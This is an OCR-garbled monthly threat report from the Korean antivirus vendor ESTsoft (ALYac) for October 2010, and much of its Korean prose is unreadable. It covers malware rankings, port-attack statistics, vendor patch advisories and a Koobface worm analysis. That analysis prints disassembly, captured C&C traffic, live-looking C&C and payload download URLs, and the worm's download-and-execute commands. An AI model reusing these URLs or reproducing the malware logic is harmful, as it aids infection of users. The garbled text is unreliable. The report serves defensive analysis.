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Part I 10E9| e} d3E B
1. %4IE £7)
(1) ZY AYIE Top 15
[2010 10¥ 1¢ ~ 20104 10¥ 31¢]
=% odac ZcHy FHe| 2| Gl
B o C ° (ZER)
1 New Win32.Parite.B Virus 73,853
2 New V.TRJ.Parite.Gen Virus 47,175
3 New Variant.Fosniw.2 Trojan 40,495
4 12 S.SPY.Lineag-GLG Spyware 38,368
5 i1 V.DWN.el.39xxxx Trojan 35,144
6 i1 A.ADV.BHO.IESearch Adware 33,332
7 14 V.DWN.Agent.Pinsearch Trojan 33,229
8 17 A.ADV.Admoke(Variant. Admoke.1) Adware 28,646
9 New V.TRJ.Agent.164864 Trojan 24,494
10 New V.TRJ.Agent.129231 Trojan 23,879
11 17 V.TRJ.Patched.imm Trojan 22,004
12 New Trojan.Script.455589 Trojan 21,486
13 16 V.WOM.Conficker Worm 19,545
14 New Trojan.Generic.4921134 Trojan 19,127
15 18 S.SPY.OnlineGames.kb Spyware 17,625
X A =8, AAE ALBAe HESAE st dETt =2 Y
g8 AEIAE Top 15= AMEA} PCOIM EX|E AHIEE 7|gtez AEDH &4 OIL.
108 Z AHALE TOP 15 Win32.Parite.B7} 73,8537 2 TOP 15 & 19 E AX[SIA L

O, V.TRJ.Parite.GenO| 47,1751 2 29|, Variant.Fosniw.27} 404957412 2 3Q|E
0|2|0| = 10¥0| A{Z Top 150 FTIst

1020] 1, 29|2 AFX|3F T} ZHHA HFO|2{A Win32.Parite.Bo} V.TR).Parite.Gen2| 3|
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Sl ALVec m

(2) 7iH1E2[E 483t |

Hio|2{A

(Virus)
25%

E20| 50t

(Trojan)

(o)
oh=glof a6%

(Adware) ,

mHolglof |
(Spyware) "-.:._
12% "

2 (Worm)

4%
OYICE QY HE
RUR|DH Lo b

B E 20| 20} (Trojan)
W ADO|9 O] (Spyware)
¥ o = ¢ 0 (Adware)

B 5}0| X§ 7 (Hijacker)

H 2 (Worm)

H Hlo|2{A (Virus)

= | ot (Exploit)

B ud = 0f(Backdoor)

= O|HE O = EZO| FOKTrojan)7t 46%= 7t B2 HIES XX
S| HEO|2{A(Virus) H|E0| 25%Z2 AA =7}5+S L
Xt

O[O 37%2| 7IE =2 Hlg& AX[g EZ0|F0K(Trojan)= 2 2t0| F oot 2 ALO|E0|

==

3) 7iE|nEE 4EIE

g Mg Hlm

S}O| X 74 (Hijacker)
37.01%
E 20| S0t (Trojan) 45.96%
ZF| 2k (Exploit)
2 (Worm)
27.699 mogl
Ol =2l of (Adware) 12.96%
. Eijog
ATH0|9]0f (Spyware) T70%
tH &= 0f(Backdoor)
_ 0.00%
HFO| 2| A (Virus) 25.30% ) P p
0% 20% 40% 60% 80% 100%

ZhHn2|E AdMHIE HES2 T HlstH, ER0|=0KTrojan)?| Z% O HIs|
895% ME H|E Z7stF D, HO|A(Virus)o| ZL 2530% ME Z7I8SLCt

(Htol2 2, F|ofd S 8% Topl5E 7|E22 s W AX[5hs HIE0| gltt= AOICH)
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rop 87 OIS KM 118

[2009 118 ~ 2010 10g€]

/

11g 129 18 28 3@ 48 s5g e6¥ 7¢ 8y 9g 109

(5) 2 o}d3C DB S 0|

[2009 11€ ~ 2010 10¥]

200911 200912 201001 201002 201003 201004 201005 201006 201007 201008 201009 201010

==Adware ~@=Spyware = “#*Hijacker = “>*KeylLogger
=¥=Exploit —@0—=RAT =+=Trojan —Worm

~==Backdoor =®=Downloader “®™=Dropper  “*Misc

=

02 HWorm) A go| ddIZE HEFO| 71 HO| 5 KU, [z CIRELM AHA
E (Downloader)7} Bt0o| S & I|QULCtH S 0{(Backdoor)o| 2L M™EHY H|g &= H|=20|

YaotALt

ESTsoft copyright 2009 © by ESTsoft Corp. All rights reserved Flo|x| | 4



i ALYk ato

FE7HEIOMES M (1 HE

Part I 109°| et A E EH|
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Social Network Service(SNS)7} S3i8lHA O|E 0|23t0] 7 QI MEL} 241 m=J
MA|ots YMHIACSEO| Ch LAHE}D AK{HoZ ZEIt 2|0 QUL E3] 2004H =
MH|AE AIES) MAHSZ ZLEQ 2|0 59%H0| e AMEXE 2R5HH E
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ofgacol EfZOl E =+ 8o gl Of

4I ofn

Facebook servicez B2 7IUXIE ER{S

£ L2le AMAE KoobfaceZ7} HZAL|RALCH.

Z2 OlseZt & A =W 1A & LRI g AGRE0 25 4ol HBMEH X 7
Z7b £ WE2H At =22 Ol EAl OHEH 2=0AM Olf7t AR, =
A HE soigof ek ApAAEA HE A2 obefElch

Facebook 24T E = BookES HPZE HHHO o= =Totst HE[O|CH

X Koobface &AMIACI} X Su=Sl= OAUSLS 01 Ct

O] ErA#stT QIC},

U3t HEfS =n o0 A

N a1 O i 13
OF o

Smz 51 YK Y71 oj2] SNS YHE F7ksim YUed CRol of
~ ¢ 2

HME ERZU Oidol Satet AR @2 A ZCh

« facebook.com » bebo.com « friendster.com
« fubar.com * hi5.com « myspace.com
« yearbook.com « myyearbook.com  netlog.com

» tagged.com

<sINK] Lqdxl AlO|E>

OfH FIALIL AilE 2HSte @2 Facebooke| FX| 7|55 EE3BAOILY.

=

uhZ 5t i Sent
Edit My Profile
Welcame
[ Mews Feed Select: all, Read, Mone
l:!;] Messages
|pdates %[ " Jong Chul Kim Yfou wwere sightewd on our scret camegal
Sent Dctober 15 at 3:52pm hitp:/fkhainglannes. blogspot.com
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Sign Up | Quicklist (0) | Heln | Log in
WARNING: This website contains explicit adult material,

Video posted by ... Hidden Camera ...

Fram: ... Hidden Cameta ...
& Joined: 1 year ago
Wideos: 5

Subscribe

Adobe Flash Player Update

This content requires Adobe Flash
Player 10,37, Would you like to install it
now?

Ernbed: Custarize

{object width="425" height="344"><param name="movie

IMore From Liser

Related Yideos

Video Responses: 10 Text Comments: 70
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=

0/E: setupl2Z2l exe
i S8 Z= 13 112KB

=3 599.231,196.49

O] A2 D= ALEN2] R LS & = 2sLI0h Itz 2
@ EN Sy AL HES Hejg -~ 220 0] ~2EfHE a#dnl
- HLE A ETHA O A 2, 25

2 MM3la EIPQ} ESPE A Bl
AYEE MAMBICE EIPE WaitForSingleObject() &2 A 37| {20 O] &7t HAY
Mz DHEO T ABH0| QI8N DeleteFileW Bt~ OFX|9tO 2 ExitProcess =7t QIXt
b ot HAEC
e
el setup02220.exe EE=Id32.exe (At HEEZ £33
ErX|H V.TRJ.Koobface.gen
Fo 45 C&C MH{o| HHO| e} CHE QYT EE CHR22E510] AHA|ZICH
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Check path

Create registry Copyfile

I} I}

Tryto connect
v URL

Execute

|

Remove itself

Send parameter
A l

Receive
commands

Execute

G

.text:0048D73D 57 push edi

.text-004AD7IE 8B F8 mov edi, eax

.text:00400740 E8 E5+ call Get_Folder PATH_ ; S8 EM HAE H2
.text:0848D745 B4 CA test al, al

.text:-06408D747 74 24 jz  short loc_A48D76D

.text-0048D749 68 Fh+ push offset alLd ; Uldv

.text-00408D74E 57 push edi ; char =

.text:0040D74F E® 8C+ call strcat

.text-@04ADTSY 68 FA+ push offset a3z ; gt

.text-@04ADTS9 57 push edi ; char =

.text:00848D75A E® 81+ call strcat

.text:00848D75F 68 A8+  push offset a_exe ; U.exe”

.text-@048D764 57 push edi ; char =

.text:0040D765 E® 76+ call strcat ; "C:WDocuments and SettingsWndmin

OIX £ BO 9IS Foto] Id32exedts THUO| YLK OIEE Holstn OB

2ot Gl oy EH0 AiES SAtettt. & 58 ZH LOIA 1d32.exe2TH A

%UserProfile%\Application Data\Microsoft\ld32.exe

HE D2t HdEE fIXls dold

.text:pB412530 loc_412538: ; CODE XREF: WinMain{x,x,x,x)+23Tj
.text:0A412538 E8 14+ call nmake file ; sd.datdy rb2t= AEFHE D E5HY
.text:88412530 DF FF+ ; 1d32.exeE HH(=EAD

.text:08412535 8D 85+ lea eax, [ebp+File]
.text: 08412538 E8 FD+ call sub_u@p73D
.text:BB412548 8D 85+ lea eax, [ebp+File]

text:BO412546 6A 8O push 8 s char

.text:0o412548 50 push eax ; 1pFile

.text:00412549 E8 F9+ call _execute_1d32_

.text:6B41254F 59 pop ecx

.text:0841254F 59 pop ecx

.text:BA412558 E® 47+ call _self delete_ ; start_sd.bat YU S MHHAS TIAE AF

I Soft Holx| | 7



.text:00412530 E8 14+
.text:80412530 DF FF+
.text 80412535 8D 85+
.text:-86412538 E8 FD+
.text:00412540 8D B85+

.text:-00412530 loc

412530: ; CODE ¥REF: WinMain(x,x,x,x)+231j

call _make_file_ ; sd.dat(y vrb2t= AEFHE 0| E3HY
; 1d32.exeE WH(SAD

lea eax, [ebp+File]

call sub_ 48D73D

lea eax, [ebp+File]

text: 00412546 6A B0 push @ ; char

.text:-06412548 50 push eax ; 1pFile

.text:-00412549 E8 F9+ call _execute 1d32_

.text:0041254E 59 pop ecX

.text:-00841254F 59 pop ecx

.text:00412550 E8 47+ call _self_delete_ ; start_sd.bat I} E MM S THAZ AN
A2E &0lstn X Ao ™ sddat o rb2t= AEZS SAISH & fopen APIE

0|85l 2A28 oiT 2

O|Ct.

AZ0| SASICE rbs £ 2122 read binaryO| OE|

to s zi0gh A=EC

S Welisks 47h Bo| A= tHEXQ 20| Garbage Code

.text:00412C3B 68 A4+
-text:-00412C40 68 4B+
-text:00412C45 68 9C+
.text:00412C4A BD B5+
.text:00412C50 68 BC+
.text:00412C55 50

.text:00412C56 EB 12+
.text:00412C5B BD B85+
.text:00412C61 68 BB+
.text:00412C66 50

-text:00412C67 EB 64+
.text:00412C6C BD B5+
.text:-00412C72 B3 Ch+
.text:00412C75 50

.text:00412C76 EB DO+
.text:00412C7B 5@

.text:808412C7C FF 15+

push offset af_1 HE

push offset aT HE

push offset alderpa 5 lderPa™

lea eax, [ebp+ProcHame]

push offset aShgetfoSShS ; "SHGetFo%s%sh%s™
push eax ; char =

call

lea eax, [ebp+var_18C]

push offset aSvudwilgzec ; "sUvDwi mgzc'
push eax ; char *

call

lea eax, [ebp+ProcHame]

add esp, 1Ch

push eax ; 1pProcHame
call sub_ 413854
push eax ; hHodule

call ds:GetProcAddress ; "SHGetFolderPathaA™

Slof 12 Jted s A
LEFIO1R ITH 0|2

A Garbage codeO| 1 HH AtE E[OE ZAE2 SUSZHO]

CEAl I22|0f A Z=25t0] ARt

|d32.exe TEMAZ AlBHO|

£ CACMH =z H&ES

StA El=0| send/recv HEHE

streamS L2 HHOFA] IS MAsiC)

.text:0048D7A3 68 EB+  push offset aCom ; tcom”
.text:08468D7A8 BE DC+ mov esi, offset a_ ; "."
Ltext:004BD7AD S6 push esi

.text:004AD7AE 68 D4+  push offset algle ; "ogle”
.text:0040D783 8D 85+ lea eax, [ebp+var_DO]

.text:BO4BD7RY 68 C4+  push offset alluw qoSSS ; "wuw.go%s%shs”

Mo, Time  Source
Ba0L.
B0L.
B0L.
B0L.
B0lL.
B0lL.
801,
202,
202,
202,
a0s.

192,168, 152,148, DNS
192,168, 152,148, DNS
192,168, 74.125.1 TCP
74,125.1 192,168, TCP
192,168, 74.125.1 TCP
192,168, 74.125.1 TCP
74,125.1 192,168, TCF
74,1253.1 192.168. HTTP
192,168, 74.125.1 TCP
192,168, 74.125.1 HTTR
74,125.1 192.168. TCP

Destination  Protocal Info

Standard guery A www. google. com

Standard gquery response CHAME www. |.google.com A 74.
mpsysrmsvr > http [S¥YM] Seq=0 win=64240 Len=0 M55=14
http » mpsysrmsvr [SYN, ACK] Seg=0 Ack=l win=64240 U
mpsysrmsvr = http [ACK] Seqg=l Ack=1 win=64240 Len=0
[TCP segment of a reassembled PDUJ

http = mpsysrmsvr [ACK] Seq=l Ack=163 win=84240 Lens
HTTP/L.1 302 Found (text/html)
mpsysrmsvr = http [ACK] Seq=163 Ack=851 win=63391 Le
GET / HTTR/1.1
http > mpsysrmsvr [ACK] Seq=851 Ack=164 wWin=564239 L&

Ho|x| |8



[
[
444

www.google.comOf %3510 QL0 AL 7hsTHA| MAE o & OZ22[0f HEE
AOIE EHEE 0|83%t0 C&C QueryE QHSHA EICL
Mo. Time  Source Destination Protocal Info

17 602. 192.168. 192.168. DNS  Standard query A www.its-email.co.uk

18 §02.0192.168, 192.168. DNS  standard query response A 127.0.0.1

19 §03.0192.168, 192.168. oNS  standard guery A leonardandself. com

20 603.:192.168. 152.168. ons  Standard query response A 127.0.0.1

21 604,192,168, 192.168. ons  sStandard guery A ig-tech.biz

22 604.0192.168. 152.168. pNs  standard guery response A 127.0.0.1

23 605, 192.168. 19Z.168. DNs  standard guery A mahjongmuseum. com

24 605, 192.168. 192.168. pNs  Standard query response A 207.217.125.50

25 605. 192.168. 207.217. TCP  di-ilm > http [S¥N] Seq=0 win=64240 Len=0 M55=1450

26 605. 207.217. 152.168. TCP  http » di-ilm [S¥N, ACK] Seq=0 Ack=1l win=64240 Len=0 M3
27 605. 192.168. 207.217. TCP  dj-11m » http [ACK] Seqg=l Ack=1l win=84240 Len=0

28 605, 192.168. 207.217. TcP  [TCP sagment of a reassembled POU]

20 605, 207,217, 192.168. TCP  http » dj-11m [ACK] Seq=l Ack=276 win=64240 Len=0

30 60G. Z07.217. 192.168. TCP  [TCP segment of a reassembled FPOU]

31 606, 207.217. 152.168. HTTP HTTR/1.1 302

32 606, 192.168. 207.217. TCP  dj-1Tm » http [ACK] Seq=276 Ack=261 win=63981 Len=0

33 606, 192.168. 207.217. HTTP GET /.oieq///Proxy.php7controller=data&data=taské&caches=
34 606, 207.217. 192.168. TCP  http > dj-iTm [ACK] Seq=261 Ack=277 win=64233% Len=0

Y= VI8 H&stk=s URL

http://iq-tech.biz/.8cww/.uozs/
http://leonardandself.com/.uozs/
http://ndself.com/.uozs/
http://www.flohr.tuknet.dk/.fav3bas/
http://www.its-email.co.uk/.symfdo/
http://mahjongmuseum.com/.oieq/
http://ongmuseum.com/.oieq/
http://ndfeuerwehr-zermatt.ch/.ozpupvr/
http://jugendfeuerwehr-zermatt.ch/.ozpupvr/

H& 7hsth AO|E0| ojg| i E m2tojye FHEE EOFAM send SFA E[H recvE|0f
Yy +HA ok
Stream Content

GET /. oleq///Proxy. php?
cont;o]1er=data&data=task&cache=1&key=8313c0deQQeeddecbOled?Q?lfb4a5&ver=32&wmid=19&htid=1
HTTR/1.1

Host: mahjongmuseum. com

User-Agent: Mozilla 4.0 (compatihle; MSIE 7.0; na; )

Content-type: application/x-www-form-urlencoded

connection: close

mE0He 2l 20| 7|2 EEE HOotM EUWX[A =0, ME m2t OHE ALz
LA UL

siE 2¥O0| C&CO SH=A HEHO| &M recv SHO| =0 O|A
it2} Command streame 8l|A8+0] victim PCO|A £=sHE|A| =IC}

rlo
oz
el
a}
=
ks
=2

Ho|x| |9




i

text:0B4BESFD 56 push esi ; Char =
-text:BB48ELZFE 57 push edi : char =
.text:@P4BESFF E8 DB+ call command WAIT ; UUAITT HE =
-text:0040EGO4 FF 75+ push [ebp+48h+arg_8] ; int
text:0B4BEGOF 56 push esi ; Char =
.text:0040EGOE 57 push edi ; char =

.text:0040E6A9 EB CD+ call _command BHSEDDMHIN ; "BASEDOMAIN" CHZ ==3H
-text:0040EGBE FF 75+ push [ebp+i8h+arg 28] ; int
.text:B040E611 FF 75+ push [ebp+48h+hObject] ; hObject
.text:@084BE61L 56 push esi ; lpHultiByteStr
.text:0040E615 57 push edi ; char =
.text:8040E616 EB SF+ call _command_UPDATE ; "UPDATE" THIA ==
-text:A040E61B 24 @1 and al, 1

-text:084BEG1D 88 45+ mov [ebp+48h+var_1], al

-text:0040EG28 8D B85+ lea eax, [ebp+48h+var_13D8]
text:004BEG26 58 push eax ; int
-text:0840EG27 FF 75+ push [ebp+48h+arg_1C] ; int
.text:804BEG2A 8B CE mov ecx¥, esi

-text:B04BE62C 57 push edi ; 1pStringi
.text:B084BE62D EB SE+ call command_STARTOHCE ; “STARTONCE" H =3 =3
-text:0040EG32 28 45+ and [ebp+48h+var_1], al

text:084BEG35 57 push edi

-text:B8B48E636 8B Cob mov eax, esi

.text:A040E638 EB BA+ call command_FFSTART ; “FFSTART" G & 3
.text:00840E63D 24 61 and al, 1

.text:BO4BEG3F 28 45+ and [ebp+48h+var_1], al

-text:0840EGL42 8D B85+ lea eax, [ebp+48h+var_13D8]

.text:0040E6L48 58 push eax ; int

-text:0840EGLD FF 75+ push [ebp+i8h+arg 1C] ; int

-text:0040EGLC FF 75+ push [ebp+48h+hObject] ; hObject

.text:@084BEGLF 56 push esi ; int

-text:BB4BEGSE 57 push edi ; 1pString1
.text:BO4BELS1 EB AL+ call _command_START ; "START" T =3

=4 Al 2ol g o+ AYE FE2 T 6712, V320 HEE= A2=2 HO|H of2fet

[ |
sto =
Z¢e dgs oot

UL'I||

_,_
N

WAIT : 60000ms(1&) 7+ CH7|
BASEDOMAIN : & 32 EHZ 3t THQZ FIHEHN)

UPDATE : MZ2 HH™9| setup(“%temp%Wokoup_%d.exe")& CI2ZESID Al
STARTONCE : E™(FZ SNSE ZEHE o) I("%tempP%Wzpskon_%d.exe”)=
CIRECSn Mg

FFSTART : %Program Files%¥#Mozilla Firefox#ftemp.exe(2d)E LR ELESHD A
START : E7d mt("%tempP%Wrar_%d.exe”)2 LR Z LSS0 Al

]

® e 6

©® @
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Bl AlYac O W7t HOKEE KM (1S

M "0l =X Ghor oM LT YEE =

b A Eg o 4 At

O
ot

skOIB| 2 QFCH CHE 1l 240| commands

-Stream Content

POST /.sys/7action=ldgendv=15% HTTP/ 1.1

Ho=t: rowanhenderson.com

User-Agent: Mozilla/s4.0 (compatible; MSIE 7.0; na; )
ontent-twvpe: application/x-www-Torm-urlencoded
onnection: close

ontent-Length: O

HTTP,/1.1 200 0K

Date: Fri, 13 MNowv 2009 03:21:38 GMT
Server: Apache

-Powered-By: PHP/5.2.9

‘ary: Accept-Encoding
ontent-Length: 433

ohnection: close

ontent-Type: text/ html

STARTOMCE | http://e-secretary. es/. sys/Tgetexe=vZprx. exe
STARTOMCE | http://e-secretary. es/.sys,/Tgetexe=pp.12. exe
WaIT |60

STARTOMCE | http://e-secretary. es/. sys/Tgetexe=get. exe
STARTOMCE | http://e-secretary. es/. sy=s/7getexe=th. 73. exe
START |http:/fe-secretary. es/. sys/Tgetexe=vZcaptcha. exe
START |http://e-secretary. es/. sys /7getexe=vZgooglecheck. exg|
D5 |d21lecdf7e7aslbfedcs318d521dEd7dl

2) 28

S SNS @HE O EfAS S QREX|GH orep Jafel MBS0 WAL 1 e

SiA| ChEFE ZH0|at M ZtEICt
7]

Hel AFE A= A2l 7|8 O|8dts o2 ofZ o o 7|20/ 7HAFE=
FI7IHLZ HE S ogo| S MES MoF & AOolTh

i
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E AlYae 1

Part I 1099 &M E EH
3. s{LZ/EE T 2M
(1) 8¢ Top10 =E
B TCP 3306
3%

B T1CP21

B TCP 1433
8%

B TCP 25
8%

TCP 135
77%

100E X&HO2 =L XN FYHS [jyo= 3 TCP 135 ZE HY
BITL KD IS P 4% SIHSHAD, TCP 2140 Chst MY A=}

AA LASHAULCE (2 11% H|2 1) EESE SQL ServerQ|

2 A=t 28] S7totUCt

(o] ¥ S =4
==

L2 TCP 1433 =

m135
H25
1433
B 3306
21
3389
E110
4899
£9415
u67

AM=7t 7h8
HEO HloH

|7CI
Eol &

(2) &%l Top 5 ZE HE FO0|
[2010H 8& ~ 2010 10¥]
135
W 1433
E21
3306
H 25
2010-08 2010-09 2010-10

Sat S A0 O3t XESIE B S2To| RESIL 22 SQL Servers} ARSI E

Eof CHt #ot &S Al=eb 1A M(Injection) 34 Al=7t 57t Lt

22| Xtz RO AFE3St= SQL Servero| E ok FOFH mX|QF AHESt= AFHL| FXar H[EH

S FOMIA| QR BEA| Bols|of Bk
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2 W32/MyDoom-H 6,509 22.46%
3 Mal/ZipMal-B 3,640 12.56%
4 W32/Virut-T 2,215 7.64%
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Part I 10€/9| O|fx EHY|
2. 1089 o ol#
« Microsoft 108 7| HQ HO0|E
=R FAHFHERE E2l0|H FfHoz Qo Hotds, MFC F <, 0T Zg
0|0f &7 AMH|Z, Embedded Open Type 2& A )22 AAIE Hd ZHFat MS
QE, A NET Framework, FAMOZ QOlst /A3 AlH >z

Microsoft 102 M7| E9t AGO|EE & HSIFSL|C

_

<sie HZF>

 Microsoft Internet Explorer 6~8, .NET Framework 4.0
 Microsoft SharePoint 2.0~2010, Groove 2007

» Windows XP/Server 2003/Vista/Server 2008/7

» Microsoft Word 2002~2010, Excel 2002~2007

» Windows Media Player 9~12

<H%H 22>
Internet Explorer =& HOF 10| 0| E(2360131
Media Player HEQ3 38 AH|AQ9| FAHEo=z Qlst 14 AL Al 22X H(2281679)
Embedded OpenType =& QIO FAMOZ OISt 4 FIE Ml X M (982132)
.NET Framework®| FUMo=Z Qlst 4 I E
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Microsoft Excelo| F ™Moz Qlst 224 A Al
Windows 38 ZHEZE 2t0o|28{2|9| F =
Windows Media Player2| F ™Mo Z OQlst 24 A= M3l EX|M(2378111)
Windows A 5! WordPad?| COM S &4 ZAAl FUYHoZ Q5 A3 E A (2405882)
Windows 22 ZE2A|N 50| #AXo= QI3 H3t AL 2XH(2360937)
SChannelo| #F|AFHMoZ Qlst MH|A HE B2 )
MFC(Microsoft Foundation Class)2| F ™Moz Qlst 2124 IC AlsH 27X H(2387149)
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Windows 29 Z2{AFH ClATO| FAMOZ Ol HZX ZX| K (2294255)
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Windows UpdateE =25} Lt Microsoft EOt ZX| Q2 AIO|EQM ST FAMEC
HEX ol miX| oY CeEE g = USUCH

. http://www.microsoft.com/korea/technet/security/Bulletin/ms10-oct.mspx

o=
A& : http://www.microsoft.com/technet/security/Bulletin/ms10-oct.mspx
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« Adobe Acrobat A€ X Ho AHHO|E A

Adobe Acrobat X|Z0| CH3t F = AldH DoS(Denial of Service) 29t #AUMES mfX|st=
HOO|EZL EHEEU}SLICL

E3%| Adobe Acrobat X|Z9| CVE-2010-2884 #F M ot2st= AMIAC I} ALY O

22 HEA 22t AHO|EE EXI5HA|7]| HHELICH

<o HE>
» Adobe Reader 9.3.4 0|3} A (Windows, Mac OS, Unix)
« Adobe Acrobat 9.3.4 0|8} A (Windows, Mac OS)

<H UM 22>
CVE-2010-2883 : This update resolves a font-parsing input validation vulnerability that
could lead to code execution.

Note: There are reports that this issue is being actively exploited in the wild.

CVE-2010-2884 : This update resolves a memory corruption vulnerability in the

authplay.dll component that could lead to code execution.

CVE-2010-2887 : This update resolves multiple potential Linux-only privilege escalation

issues

CVE-2010-2888 : This update resolves multiple input validation errors that could lead to

code execution (Windows, ActiveX only)

CVE-2010-2889 : This update resolves a font-parsing input validation vulnerability that

could lead to code execution.

CVE-2010-2890 : This update resolves a memory corruption vulnerability that could lead

to code execution.

CVE-2010-3619 : This update resolves a memory corruption vulnerability that could lead

to code execution

CVE-2010-3620 : This update resolves an image-parsing input validation vulnerability that

could lead to code execution.

CVE-2010-3621 : This update resolves a memory corruption vulnerability that could lead

to code execution.

CVE-2010-3622 : This update resolves a memory corruption vulnerability that could lead

to code execution

[sof H0|X| | 19



CVE-2010-3623 : This update resolves a memory corruption vulnerability that could lead

to code execution (Macintosh platform only)

CVE-2010-3624 : This update resolves an image-parsing input validation vulnerability that

could lead to code execution (Macintosh platform only)

CVE-2010-3625 : This update resolves a prefix protocol handler vulnerability that could

lead to code execution

CVE-2010-3626 : This update resolves a font-parsing input validation vulnerability that

could lead to code execution.

CVE-2010-3627 : This update resolves an input validation vulnerability that could lead to

code execution.

CVE-2010-3628 : This update resolves a memory corruption vulnerability that could lead

to code execution.

CVE-2010-3629: This update resolves an image-parsing input validation vulnerability that

could lead to code execution.

CVE-2010-3630 : This update resolves a denial of service vulnerability; arbitrary code

execution has not been demonstrated, but may be possible.

CVE-2010-3631 : This update resolves an array-indexing vulnerability that could lead to

code execution (Macintosh platform only)

CVE-2010-3632: This update resolves a memory corruption vulnerability that could lead

to code execution

CVE-2010-3658 : This update resolves a memory corruption vulnerability that could lead

to code execution.

This update resolves a denial of service issue (CVE-2010-3656)
This update resolves a denial of service issue (CVE-2010-3657)

<8} 2>
Adobe Flash@} Acrobat A€ HE=Z Adobe ZL|O|X|O|A Z[ASE YO O|ESEAHLE
e mjX|E CHREEse MX|tL L} (Adobe Reader : http://get.adobe.com/kr/reader/)

<%t7 AlO|E>

http://www.adobe.com/support/security/bulletins/apsb10-021.html
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Firefox, Thunderbird 21 3£ Al3l *|okX

Florot HTH Ol Firefox R ThunderbirdZh &X[El AFEXL7E fo|H Q1 # ALO|EO| HE3}
2

HEHO K= AHIAIEEES A8 oo IES HAY 5+ AFUCL
o FFHS kols AFIRE &5 Lot ALz 24 HHe YYo= &
o gt

<efie HE>
» Mozilla Firefox version 3.6.11 3 3.5.14 O|& HH
» Mozilla Thunderbird version 3.1.5 & 3.09 O|& HHM™

<Hlopy 4>
Mozilla Firefox 3 ThunderbirdZ7} "documentwrite()" F+=21} DOM &Ql8 XE|st= 1A
L

oM HIEH 2HER2L2Z Qo FAIEAY FofH0| 2y

Adobe Flash, Acrobat 3£ A3 HZH0| FIH
Adobe Flash Player, Acrobat H|Z0|AM & s Ol DoS AM3HO| 7t=3+ HZH|0|
FlofHo| LHARJASLICE X o FATFE 0|82t dHdIAE FE A7t 2AHEJAL

o
Sz SX7 2YS BAS T %= S PC ALBAIEQ| Fol7t 2 RELIH

[T

<y MEZ>
 Adobe Flash Player 10.1.85.3 and 10.1.95.2 earlier for Windows, MAC, Unix, Android

» Adobe Acrobat/Reader 9.4 and earlier 9.x versions for Windows, Macintosh, and Unix
<3loH 4>

authplaydll Tt RHZE AlGH G A|A”H F2jA|(Crash) S0| 7t
ASIYEUC Al o WO R, authplaydliel Th 0|89l WEE Ane
HZO|LE 0|5  SWF ZEIAT} E71 PDF }US Q2% 0 of
o

<o 2% >
3% AdobeAlOA| ZAIMOo = HZE|= miX|7F Qe AFEH0|0, Flash Player= 112 99
1129 150 GHX| 2HE o & QL|C.

<%t AJO|E>

http://www.adobe.com/support/security/advisories/apsal0-05.html

http://www.us-cert.gov/current/index.html#adobe_releases_security_bulletin_forl0
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Contact us...
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Tel : 02-881-2364
E-mail : help@alyac.co.kr

2o AIO|E : www.alyac.co.kr
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